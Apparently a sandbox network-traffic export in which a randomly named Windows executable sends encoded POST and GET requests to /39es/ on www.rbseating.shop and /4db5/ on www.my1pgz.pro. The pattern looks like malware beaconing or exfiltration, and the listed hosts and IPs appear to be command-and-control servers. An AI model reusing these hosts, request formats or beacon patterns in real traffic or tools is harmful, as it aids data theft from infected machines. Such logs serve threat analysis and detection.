Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49727	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:43.463551044 CEST	810	OUT	POST /39es/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.rbseating.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.rbseating.shop Referer: http://www.rbseating.shop/39es/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 54 53 45 42 63 7a 66 7a 2b 52 50 6e 6d 2b 45 69 68 44 2b 50 62 4d 70 30 47 5a 61 75 70 45 78 56 56 56 53 67 75 73 4d 72 30 53 75 78 75 75 71 42 7a 6a 4d 5a 53 63 35 77 6f 6b 7a 43 6d 4f 6f 6f 38 36 33 4e 55 42 35 55 47 38 77 6f 36 39 36 63 4f 62 31 65 62 4c 6c 7a 31 52 53 5a 6d 69 2b 5a 37 78 70 2b 58 47 68 6a 4b 6f 64 77 77 66 63 4b 47 4d 41 75 61 2b 4b 4d 41 48 31 31 76 4f 66 37 41 47 69 41 69 46 62 6b 53 47 69 44 66 63 56 71 68 65 6e 55 31 70 49 56 53 61 4f 30 51 54 50 54 74 65 65 48 5a 64 6e 37 4f 48 43 31 73 6a 61 47 72 6f 38 58 32 57 71 50 49 67 45 4f 4c 47 6c 57 68 62 64 79 37 4f 79 77 55 48 52 39 6c 41 31 4c 42 6e 4d 4a 2f 51 51 3d Data Ascii: SLTxDJ=TSEBczfz+RPnm+EihD+PbMp0GZaupExVVVSgusMr0SuxuuqBzjMZSc5wokzCmOoo863NUB5UG8wo696cOb1ebLlz1RSZmi+Z7xp+XGhjKodwwfcKGMAua+KMAH11vOf7AGiAiFbkSGiDfcVqhenU1pIVSaO0QTPTteeHZdn7OHC1sjaGro8X2WqPIgEOLGlWhbdy7OywUHR9lA1LBnMJ/QQ=
Oct 3, 2024 18:11:44.034214020 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://rbseating.shop/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Thu, 03 Oct 2024 16:11:43 GMT Data Raw: 33 65 62 33 0d 0a f4 49 14 a2 a8 a6 fd 70 33 52 b4 7a 08 68 a4 2c 9c bf 7f 06 8e eb b1 ce fb 7f f3 55 fb 75 72 4e 17 fb 6b 7a 22 13 0e 00 81 d4 cf a1 2a 75 dc 26 e9 ef 93 f6 fd 6c 8f 06 22 2f 29 c4 20 c0 02 97 fa 94 e1 6e 31 e7 ad 96 fd 53 d3 de 9a 9a 71 d1 bf c0 ff 10 ff 07 20 1c bc 2d 69 2f 2b 1b af cf b1 fc 8f 53 03 11 10 05 9b 22 69 80 ba d6 eb 99 14 7d 8a 32 55 8a 36 65 7e d5 e5 ef fd bd 56 79 bb 17 21 e2 68 c3 c9 96 58 b0 40 90 51 d6 3b d1 81 1b fc ff df 0f be be 1c 48 96 02 b0 03 19 02 c1 80 dc f6 b9 e7 d2 7b 9f 2c 70 f7 6a e5 26 e3 c8 83 a6 ee 55 e3 82 61 00 21 da da 70 63 bb 61 01 87 30 5a 4e b2 a7 45 2d 50 36 e1 04 59 be cb a1 d1 fc 35 8f 88 20 43 d0 56 6f 19 b3 ea f4 6a 79 85 90 40 a4 a4 e9 ce 3f 86 5a 3f 66 f3 bf 1b 05 c4 19 54 20 bd c7 50 7d dd bb 4d 54 f0 13 8b a8 c4 a7 13 60 dd 5f c1 38 b5 76 fb aa 1b 6f 92 8e c4 97 bf 25 db 9a 5c dd 22 dd 26 ff be 88 b4 49 ce fd 6e e2 e6 39 dd e2 26 61 96 5c 42 0e 9f 45 bd b0 c9 7a 11 87 13 bd 7f c8 89 58 6a 8b 9b 2c d9 7e f6 f2 05 7c 6e 8d 7b 86 80 [TRUNCATED] Data Ascii: 3eb3Ip3Rzh,UurNkz"u&l"/) n1Sq -i/+S"i}2U6e~Vy!hX@Q;H{,pj&Ua!pca0ZNE-P6Y5 CVojy@?Z?fT P}MT`_8vo%\"&In9&a\BEzXj,~\|n{vttiFLfY'/1N=++<7?r4o>_gaZ8j<$\m?I?nF]tEvMA$p&+{:tsj#);iB_TB[t(,^a-Sh> qM^G#`+>NQ<8E~\|fqq8y8G<oRSR>8=uBL<N?@-5N~_1lr)d/WXAe+:y;6u#uB(SdK8mK;FrV/v&wsq1FA7(#mw~IF5hq$Z9q~~RGYjwQ*W\|GYk3Wl]Oq4Cem\|IJV4amNpH>gIc
Oct 3, 2024 18:11:44.034295082 CEST	1289	IN	Data Raw: 5e 0d e0 66 b3 09 0f f4 34 b2 4a fe f8 fe a5 8b 27 43 e5 21 25 36 94 3a 62 52 5b dd 24 05 e6 b7 84 4b 91 27 8f 7d 75 37 2b 1f fb aa ae 67 8f 7d 8d aa 7e ec 73 a5 aa c7 3e 5f ea 55 68 67 09 e8 37 dd 9f 03 fb e2 2a 2b ae 50 af ae 6a fd 78 d9 59 12 Data Ascii: ^f4J'C!%6:bR[$K'}u7+g}~s>_Uhg7*+PjxY$Zl2c_7LjU@o~%^[7!K{@We\|l}q&:@$l_X%Wtko1\|m^p2hk0.v%_8<u2T+)bT
Oct 3, 2024 18:11:44.034353018 CEST	1289	IN	Data Raw: f1 66 88 d3 71 32 ca 3b ce 95 5a 97 33 5b 8e e8 62 d0 44 c0 76 2d 30 e8 1d 4a e2 d7 ef 7d 75 11 d1 0b 79 26 57 d8 b2 f5 c8 05 27 f3 67 ef a9 86 9e cb 8c ad c7 43 c6 25 3a 0a 17 a1 02 ce 19 0e 19 3f e4 11 3f 7e ce 0f b3 1f 7f c6 0f f3 1f 7f ce 0f Data Ascii: fq2;Z3[bDv-0J}uy&W'gC%:??~9K./f?zGCiJRr2y^w+gEv={Nhli/dfhYvw(@#Ha@P;3,}d%GUGyv*j.<rHY`MeU\|
Oct 3, 2024 18:11:44.034410954 CEST	1289	IN	Data Raw: ca 9d ef fa 4e 54 41 9f 30 48 93 2b d5 7b 5e 30 96 c2 a8 a0 80 56 1b d7 dc cc 12 aa 91 da 5e 9c 91 e7 79 8b 60 3b 05 f9 2e 06 85 f5 f8 bb d2 57 78 67 74 ba 41 b8 e6 fd 95 1c 01 0d c1 f5 6a c8 b1 08 d7 1b d3 aa 56 96 be c5 35 fb 2a 72 79 4d ba aa Data Ascii: NTA0H+{^0V^y`;.WxgtAjV5*ryMvwv#,.U) W)QeH'nq:5aU8=xMP86lkVKjf.522}hs}h]U(Ie&tc6
Oct 3, 2024 18:11:44.034468889 CEST	1289	IN	Data Raw: a5 a6 69 67 9a 5e 5e 0d 87 ac 46 28 82 96 27 db 6c 82 ab 4f 7d 71 0d 46 3e 90 d9 56 98 bd 0c c6 7c 20 f9 56 58 bc 0c ca f2 66 5a 20 c7 e9 33 43 2d 21 90 e7 bb c9 62 1a d4 70 2c bc 12 c4 53 e3 65 b3 16 c5 52 bd 75 5b 3b 5d 76 05 7b eb a8 ee 6a f1 Data Ascii: ig^^F('lO}qF>V\| VXfZ 3C-!bp,SeRu[;]v{j"m>>pq>fMi,1-f4}hMkk%O2%\|UWP8VP'\%(cHm* ,{HG3JEe}$]5T]Na6E
Oct 3, 2024 18:11:44.034569025 CEST	1289	IN	Data Raw: 55 40 a2 33 6f 10 e2 d4 89 35 15 cc b2 38 94 1c f2 c2 38 f9 2e f4 5c 03 66 21 ea 02 32 a1 1c 39 de 4f 92 28 c7 fb 0e 06 a5 21 3f 4c 7f 63 6a 85 43 d4 39 53 37 d1 89 bf 89 fb fc 32 54 4e 72 36 f9 0b 4c c9 11 7e 13 5e db 33 f7 e6 44 41 2f 58 3e bb Data Ascii: U@3o588.\f!29O(!?LcjC9S72TNr6L~^3DA/X>r3@vBCQ,\|Cm]>_'[D{l`11XVy1l%e'1lC 8_2wZvGU_k`=6uVWBz%\I c]@mJN2!n+&
Oct 3, 2024 18:11:44.034629107 CEST	1289	IN	Data Raw: 80 40 55 5f d2 55 d5 22 2d f0 a6 17 01 80 54 71 4c 1c b3 61 09 de 34 27 2f e4 7c ca eb 5d 89 74 14 c8 c9 a9 70 ef 03 ce ba cb 00 a5 c1 b1 a7 59 2d 47 7d 1f 05 72 72 2a dc fb 80 f3 ee 72 40 69 6a 79 50 f3 a8 7b 14 c8 c9 a9 70 ef 03 9e 75 37 03 94 Data Ascii: @U_U"-TqLa4'/\|]tpY-G}rrr@ijyP{pu7uu99}:G7[xPxPQ99n%Kn(M-2Q 'qyuu(S_h`wizAth7$xTqruOxk>[7tV\l]
Oct 3, 2024 18:11:44.034708977 CEST	1289	IN	Data Raw: 71 1f f9 f5 79 39 08 e3 c2 7a ca 9b 60 aa 0b 99 12 d2 12 7b 14 5a c6 23 93 e9 42 7b 9a c7 d4 01 75 f2 50 19 1d 59 dc 5c 26 8a 48 47 ca 92 27 30 e8 54 a0 f3 e2 c5 33 17 1c 90 ca 4b 8c 6f cf e3 48 53 89 a9 d9 b2 12 69 8f cb 6b da d2 f3 22 f4 d2 32 Data Ascii: qy9z`{Z#B{uPY\&HG'0T3KoHSik"25k.-:M_Q:Qv[uh3IxD5J#f\|2/h^pa<;{jm7 \Yvl9v_z27<*B#"y#[o$zal
Oct 3, 2024 18:11:44.034768105 CEST	1289	IN	Data Raw: 3f 7b 1d b0 80 6c 1d f2 3e 9f 8b 59 01 f3 e9 ec d3 a3 65 26 e6 05 cc a6 3f 24 ba 4e f4 5f dc 29 82 c8 02 04 ca 87 39 4f 48 5e 00 4f 46 39 f9 0f 52 4e 78 52 40 3e e2 49 50 6c 46 f2 e4 ed 50 37 51 c0 29 fb c3 23 dc bb 8f f2 a8 1a b2 ac b7 d6 af 49 Data Ascii: ?{l>Ye&?$N_)9OH^OF9RNxR@>IPlFP7Q)#IS\f;)`T~nS!m8]V)vvg5qFpZ&zMjztV'MpTq'0ZhQ5K].c,rA,N3oefI.Sm]WNek!IgBB0
Oct 3, 2024 18:11:44.034825087 CEST	1289	IN	Data Raw: 25 f8 50 18 ee bd 93 2a d4 c9 f1 02 a5 c5 d3 23 b7 c6 26 97 d0 bb bc 36 e1 7c ed 01 70 2a 85 4c 65 39 07 4d 39 cc 1e 42 82 ac b9 70 76 27 b9 45 d0 04 8b 43 2b 56 c1 5e a8 5d fc e1 13 66 2e 04 8c 0d 5e 84 d1 24 49 cd 06 be 07 bf d3 c1 00 21 f8 db Data Ascii: %P#&6\|pLe9M9Bpv'EC+V^]f.^$I!f,`(P)EI[TiBTe). 8a !Nwi&:a:iT.xniF%y=/0L*AAT&/bDGsTZLebj#r0o>`-",E
Oct 3, 2024 18:11:44.130542994 CEST	1289	IN	Data Raw: 67 a3 17 a5 f7 8b ba 5d e5 d1 db 03 83 59 ac da a6 5f d8 b2 6d 16 7e 57 61 d0 a6 40 75 31 35 b7 ca 42 7a 35 c8 78 d9 eb 31 98 85 f6 09 86 cf 40 3d 00 2f 4b 01 a5 f7 8b ce d9 a6 5f 6c 4c bf 6e 35 59 fd 7f 13 43 a6 85 2a 44 53 41 e0 88 c6 00 97 c4 Data Ascii: g]Y_m~Wa@u15Bz5x1@=/K_lLn5YC*DSAj#~:$e`xJu\|VUev{bAM4J_h(a}9ly{NZB!0@2F.F8SBuQPm]7 :d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49728	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:46.087979078 CEST	7959	OUT	POST /39es/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.rbseating.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.rbseating.shop Referer: http://www.rbseating.shop/39es/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 54 53 45 42 63 7a 66 7a 2b 52 50 6e 6d 2b 45 69 68 44 2b 50 62 4d 70 30 47 5a 61 75 70 45 78 56 56 56 53 67 75 73 4d 72 30 53 32 78 75 63 53 42 38 67 6b 5a 54 63 35 77 6c 45 7a 42 6d 4f 70 6f 38 37 54 42 55 42 31 75 47 2b 59 6f 35 59 32 63 61 36 31 65 4d 62 6c 7a 38 78 53 59 35 79 2f 4e 37 78 34 35 58 47 78 6a 4b 6f 64 77 77 63 30 4b 50 2b 6f 75 59 2b 4b 50 48 48 30 36 35 2b 66 48 41 43 33 39 69 46 65 52 52 32 43 44 63 2f 39 71 74 4e 50 55 38 70 49 4c 56 61 4f 57 51 54 4c 4d 74 64 71 4c 5a 65 37 56 4f 41 2b 31 36 45 79 62 79 71 67 48 70 55 4b 6b 54 79 4d 48 46 58 4d 4a 68 38 56 49 39 6f 32 59 4b 42 52 73 76 32 35 30 59 31 34 64 68 48 36 43 79 4f 62 4f 64 53 4f 47 37 6b 56 64 31 45 47 4f 6a 70 43 49 69 2b 6b 4f 64 47 32 32 48 46 39 65 57 31 61 74 4e 72 7a 61 49 63 47 30 41 65 47 37 6b 50 4e 75 5a 54 65 45 47 38 38 44 64 33 68 71 46 39 62 6d 45 55 2f 48 4f 6d 7a 54 49 79 69 4b 74 64 33 69 37 72 35 7a 39 4e 63 31 78 6c 4d 43 68 44 51 58 2b 65 38 35 77 6b 49 50 79 74 74 47 56 2b 6e [TRUNCATED] Data Ascii: SLTxDJ=TSEBczfz+RPnm+EihD+PbMp0GZaupExVVVSgusMr0S2xucSB8gkZTc5wlEzBmOpo87TBUB1uG+Yo5Y2ca61eMblz8xSY5y/N7x45XGxjKodwwc0KP+ouY+KPHH065+fHAC39iFeRR2CDc/9qtNPU8pILVaOWQTLMtdqLZe7VOA+16EybyqgHpUKkTyMHFXMJh8VI9o2YKBRsv250Y14dhH6CyObOdSOG7kVd1EGOjpCIi+kOdG22HF9eW1atNrzaIcG0AeG7kPNuZTeEG88Dd3hqF9bmEU/HOmzTIyiKtd3i7r5z9Nc1xlMChDQX+e85wkIPyttGV+neY0JjgUQB3pURPtfWioDV30+qtzXH+HRMKmPUUYEUfUo160Z/ENu3SFZMLSGFIM3ktSCz8w3Ko/68jSVHBoj3k9ZYEo5aH3y/SpPhpTDj862qjrGvR3kfI0g4aFSOlPhqyAjYhrQKmkqK62M1qME066r2u3I/MtS4VLDvnCpQKISOGH7X+0NumnH4N5d1MBDXagLisqsV7jTGs0eMu93WunkInhO9WouZMt1e/ErBGqdhRje0MjPQq2TJSNrtX3l73jUx58I0g7XuvXnygop+RTnBuhgkgxIHq9wZpY7pXyRpWutaIur/NNwv8/bnXaNU06hD6iBWbKM9H5qUza/Fii1ZnNnVfqJFfVTUyxHaeRZie/tLGy36h+NvwUkKGCqm+0d6O39xMwgCBLF2gNsUwJMpDJBEuxCiMrMykhVxEy3G1mqH3EjDiVuRgm4uruABm1bKL+OyKtBnm+q0519DJA3LksjTZGXTDKNes5zvmSYkIKml6d860WwyDKS8XBIAVMfMBNb1ZrqDqPNszWwMQVQoIGMnD/cdxsc0EEWy+y7W9Zc0uLkPS20FX2kerMHD4fsJY/QqHRRna7QjFTTHczLEmTVMmVVfOWqm9RiG0skK0RrqWRSrjGfAMRYqrKBpDd66g8VMpAh55p59gPYn7L5SXUdb97+8r [TRUNCATED]
Oct 3, 2024 18:11:46.599102020 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://rbseating.shop/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Thu, 03 Oct 2024 16:11:46 GMT Data Raw: 33 65 62 33 0d 0a f4 49 14 a2 a8 a6 fd 70 33 52 b4 7a 08 68 a4 2c 9c bf 7f 06 8e eb b1 ce fb 7f f3 55 fb 75 72 4e 17 fb 6b 7a 22 13 0e 00 81 d4 cf a1 2a 75 dc 26 e9 ef 93 f6 fd 6c 8f 06 22 2f 29 c4 20 c0 02 97 fa 94 e1 6e 31 e7 ad 96 fd 53 d3 de 9a 9a 71 d1 bf c0 ff 10 ff 07 20 1c bc 2d 69 2f 2b 1b af cf b1 fc 8f 53 03 11 10 05 9b 22 69 80 ba d6 eb 99 14 7d 8a 32 55 8a 36 65 7e d5 e5 ef fd bd 56 79 bb 17 21 e2 68 c3 c9 96 58 b0 40 90 51 d6 3b d1 81 1b fc ff df 0f be be 1c 48 96 02 b0 03 19 02 c1 80 dc f6 b9 e7 d2 7b 9f 2c 70 f7 6a e5 26 e3 c8 83 a6 ee 55 e3 82 61 00 21 da da 70 63 bb 61 01 87 30 5a 4e b2 a7 45 2d 50 36 e1 04 59 be cb a1 d1 fc 35 8f 88 20 43 d0 56 6f 19 b3 ea f4 6a 79 85 90 40 a4 a4 e9 ce 3f 86 5a 3f 66 f3 bf 1b 05 c4 19 54 20 bd c7 50 7d dd bb 4d 54 f0 13 8b a8 c4 a7 13 60 dd 5f c1 38 b5 76 fb aa 1b 6f 92 8e c4 97 bf 25 db 9a 5c dd 22 dd 26 ff be 88 b4 49 ce fd 6e e2 e6 39 dd e2 26 61 96 5c 42 0e 9f 45 bd b0 c9 7a 11 87 13 bd 7f c8 89 58 6a 8b 9b 2c d9 7e f6 f2 05 7c 6e 8d 7b 86 80 [TRUNCATED] Data Ascii: 3eb3Ip3Rzh,UurNkz"u&l"/) n1Sq -i/+S"i}2U6e~Vy!hX@Q;H{,pj&Ua!pca0ZNE-P6Y5 CVojy@?Z?fT P}MT`_8vo%\"&In9&a\BEzXj,~\|n{vttiFLfY'/1N=++<7?r4o>_gaZ8j<$\m?I?nF]tEvMA$p&+{:tsj#);iB_TB[t(,^a-Sh> qM^G#`+>NQ<8E~\|fqq8y8G<oRSR>8=uBL<N?@-5N~_1lr)d/WXAe+:y;6u#uB(SdK8mK;FrV/v&wsq1FA7(#mw~IF5hq$Z9q~~RGYjwQ*W\|GYk3Wl]Oq4Cem\|IJV4amNpH>gIc
Oct 3, 2024 18:11:46.599179983 CEST	1289	IN	Data Raw: 5e 0d e0 66 b3 09 0f f4 34 b2 4a fe f8 fe a5 8b 27 43 e5 21 25 36 94 3a 62 52 5b dd 24 05 e6 b7 84 4b 91 27 8f 7d 75 37 2b 1f fb aa ae 67 8f 7d 8d aa 7e ec 73 a5 aa c7 3e 5f ea 55 68 67 09 e8 37 dd 9f 03 fb e2 2a 2b ae 50 af ae 6a fd 78 d9 59 12 Data Ascii: ^f4J'C!%6:bR[$K'}u7+g}~s>_Uhg7*+PjxY$Zl2c_7LjU@o~%^[7!K{@We\|l}q&:@$l_X%Wtko1\|m^p2hk0.v%_8<u2T+)bT
Oct 3, 2024 18:11:46.599241018 CEST	1289	IN	Data Raw: f1 66 88 d3 71 32 ca 3b ce 95 5a 97 33 5b 8e e8 62 d0 44 c0 76 2d 30 e8 1d 4a e2 d7 ef 7d 75 11 d1 0b 79 26 57 d8 b2 f5 c8 05 27 f3 67 ef a9 86 9e cb 8c ad c7 43 c6 25 3a 0a 17 a1 02 ce 19 0e 19 3f e4 11 3f 7e ce 0f b3 1f 7f c6 0f f3 1f 7f ce 0f Data Ascii: fq2;Z3[bDv-0J}uy&W'gC%:??~9K./f?zGCiJRr2y^w+gEv={Nhli/dfhYvw(@#Ha@P;3,}d%GUGyv*j.<rHY`MeU\|
Oct 3, 2024 18:11:46.599297047 CEST	1289	IN	Data Raw: ca 9d ef fa 4e 54 41 9f 30 48 93 2b d5 7b 5e 30 96 c2 a8 a0 80 56 1b d7 dc cc 12 aa 91 da 5e 9c 91 e7 79 8b 60 3b 05 f9 2e 06 85 f5 f8 bb d2 57 78 67 74 ba 41 b8 e6 fd 95 1c 01 0d c1 f5 6a c8 b1 08 d7 1b d3 aa 56 96 be c5 35 fb 2a 72 79 4d ba aa Data Ascii: NTA0H+{^0V^y`;.WxgtAjV5*ryMvwv#,.U) W)QeH'nq:5aU8=xMP86lkVKjf.522}hs}h]U(Ie&tc6
Oct 3, 2024 18:11:46.599351883 CEST	1289	IN	Data Raw: a5 a6 69 67 9a 5e 5e 0d 87 ac 46 28 82 96 27 db 6c 82 ab 4f 7d 71 0d 46 3e 90 d9 56 98 bd 0c c6 7c 20 f9 56 58 bc 0c ca f2 66 5a 20 c7 e9 33 43 2d 21 90 e7 bb c9 62 1a d4 70 2c bc 12 c4 53 e3 65 b3 16 c5 52 bd 75 5b 3b 5d 76 05 7b eb a8 ee 6a f1 Data Ascii: ig^^F('lO}qF>V\| VXfZ 3C-!bp,SeRu[;]v{j"m>>pq>fMi,1-f4}hMkk%O2%\|UWP8VP'\%(cHm* ,{HG3JEe}$]5T]Na6E
Oct 3, 2024 18:11:46.599406958 CEST	1289	IN	Data Raw: 55 40 a2 33 6f 10 e2 d4 89 35 15 cc b2 38 94 1c f2 c2 38 f9 2e f4 5c 03 66 21 ea 02 32 a1 1c 39 de 4f 92 28 c7 fb 0e 06 a5 21 3f 4c 7f 63 6a 85 43 d4 39 53 37 d1 89 bf 89 fb fc 32 54 4e 72 36 f9 0b 4c c9 11 7e 13 5e db 33 f7 e6 44 41 2f 58 3e bb Data Ascii: U@3o588.\f!29O(!?LcjC9S72TNr6L~^3DA/X>r3@vBCQ,\|Cm]>_'[D{l`11XVy1l%e'1lC 8_2wZvGU_k`=6uVWBz%\I c]@mJN2!n+&
Oct 3, 2024 18:11:46.599462986 CEST	1289	IN	Data Raw: 80 40 55 5f d2 55 d5 22 2d f0 a6 17 01 80 54 71 4c 1c b3 61 09 de 34 27 2f e4 7c ca eb 5d 89 74 14 c8 c9 a9 70 ef 03 ce ba cb 00 a5 c1 b1 a7 59 2d 47 7d 1f 05 72 72 2a dc fb 80 f3 ee 72 40 69 6a 79 50 f3 a8 7b 14 c8 c9 a9 70 ef 03 9e 75 37 03 94 Data Ascii: @U_U"-TqLa4'/\|]tpY-G}rrr@ijyP{pu7uu99}:G7[xPxPQ99n%Kn(M-2Q 'qyuu(S_h`wizAth7$xTqruOxk>[7tV\l]
Oct 3, 2024 18:11:46.599519968 CEST	1289	IN	Data Raw: 71 1f f9 f5 79 39 08 e3 c2 7a ca 9b 60 aa 0b 99 12 d2 12 7b 14 5a c6 23 93 e9 42 7b 9a c7 d4 01 75 f2 50 19 1d 59 dc 5c 26 8a 48 47 ca 92 27 30 e8 54 a0 f3 e2 c5 33 17 1c 90 ca 4b 8c 6f cf e3 48 53 89 a9 d9 b2 12 69 8f cb 6b da d2 f3 22 f4 d2 32 Data Ascii: qy9z`{Z#B{uPY\&HG'0T3KoHSik"25k.-:M_Q:Qv[uh3IxD5J#f\|2/h^pa<;{jm7 \Yvl9v_z27<*B#"y#[o$zal
Oct 3, 2024 18:11:46.599575043 CEST	1289	IN	Data Raw: 3f 7b 1d b0 80 6c 1d f2 3e 9f 8b 59 01 f3 e9 ec d3 a3 65 26 e6 05 cc a6 3f 24 ba 4e f4 5f dc 29 82 c8 02 04 ca 87 39 4f 48 5e 00 4f 46 39 f9 0f 52 4e 78 52 40 3e e2 49 50 6c 46 f2 e4 ed 50 37 51 c0 29 fb c3 23 dc bb 8f f2 a8 1a b2 ac b7 d6 af 49 Data Ascii: ?{l>Ye&?$N_)9OH^OF9RNxR@>IPlFP7Q)#IS\f;)`T~nS!m8]V)vvg5qFpZ&zMjztV'MpTq'0ZhQ5K].c,rA,N3oefI.Sm]WNek!IgBB0
Oct 3, 2024 18:11:46.599652052 CEST	1289	IN	Data Raw: 25 f8 50 18 ee bd 93 2a d4 c9 f1 02 a5 c5 d3 23 b7 c6 26 97 d0 bb bc 36 e1 7c ed 01 70 2a 85 4c 65 39 07 4d 39 cc 1e 42 82 ac b9 70 76 27 b9 45 d0 04 8b 43 2b 56 c1 5e a8 5d fc e1 13 66 2e 04 8c 0d 5e 84 d1 24 49 cd 06 be 07 bf d3 c1 00 21 f8 db Data Ascii: %P#&6\|pLe9M9Bpv'EC+V^]f.^$I!f,`(P)EI[TiBTe). 8a !Nwi&:a:iT.xniF%y=/0L*AAT&/bDGsTZLebj#r0o>`-",E
Oct 3, 2024 18:11:46.694994926 CEST	1289	IN	Data Raw: 67 a3 17 a5 f7 8b ba 5d e5 d1 db 03 83 59 ac da a6 5f d8 b2 6d 16 7e 57 61 d0 a6 40 75 31 35 b7 ca 42 7a 35 c8 78 d9 eb 31 98 85 f6 09 86 cf 40 3d 00 2f 4b 01 a5 f7 8b ce d9 a6 5f 6c 4c bf 6e 35 59 fd 7f 13 43 a6 85 2a 44 53 41 e0 88 c6 00 97 c4 Data Ascii: g]Y_m~Wa@u15Bz5x1@=/K_lLn5YC*DSAj#~:$e`xJu\|VUev{bAM4J_h(a}9ly{NZB!0@2F.F8SBuQPm]7 :d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49729	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:48.709822893 CEST	520	OUT	GET /39es/?SLTxDJ=eQshfEfdwSnAzrJ2jxGgNrEDJqWG121KZX6fzsQi9Q6srdS+pCoeb+ZZoWaInIAsqOuwaQAybftVmN+kQrlALvUyxAy6phvN3h0mYXE1KKUlyvAZJeg5ZIE=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.rbseating.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:11:49.138044119 CEST	449	IN	HTTP/1.1 301 Moved Permanently Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://rbseating.shop/39es/?SLTxDJ=eQshfEfdwSnAzrJ2jxGgNrEDJqWG121KZX6fzsQi9Q6srdS+pCoeb+ZZoWaInIAsqOuwaQAybftVmN+kQrlALvUyxAy6phvN3h0mYXE1KKUlyvAZJeg5ZIE=&sdqp=DdBtjpu0 content-length: 0 date: Thu, 03 Oct 2024 16:11:49 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49730	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:54.563585043 CEST	778	OUT	POST /4db5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.my1pgz.pro Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.my1pgz.pro Referer: http://www.my1pgz.pro/4db5/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 45 55 70 48 58 6b 7a 62 57 45 78 6d 71 54 34 4f 36 58 66 4e 4d 31 56 32 7a 36 35 71 41 63 4f 44 6e 6c 31 41 54 32 6a 73 34 4d 77 36 49 47 70 36 43 70 35 4a 52 30 66 64 5a 50 50 44 4a 2b 43 74 2b 71 61 51 46 46 61 4b 39 69 4c 7a 43 2f 72 57 6b 47 67 48 4e 66 34 47 6d 55 49 57 37 63 6a 6d 58 47 70 54 36 43 7a 4e 30 4a 6b 56 52 43 30 46 77 66 52 76 61 4b 56 76 4e 72 4f 34 56 67 6e 47 56 71 65 78 44 6b 52 38 35 4e 71 74 4d 77 61 4f 37 39 71 6e 72 77 69 31 5a 46 4c 32 53 54 74 58 52 66 66 6e 46 49 4b 33 7a 6e 59 67 76 55 4c 32 36 78 78 4c 58 47 46 39 45 64 4d 51 34 74 79 56 74 51 3d 3d Data Ascii: 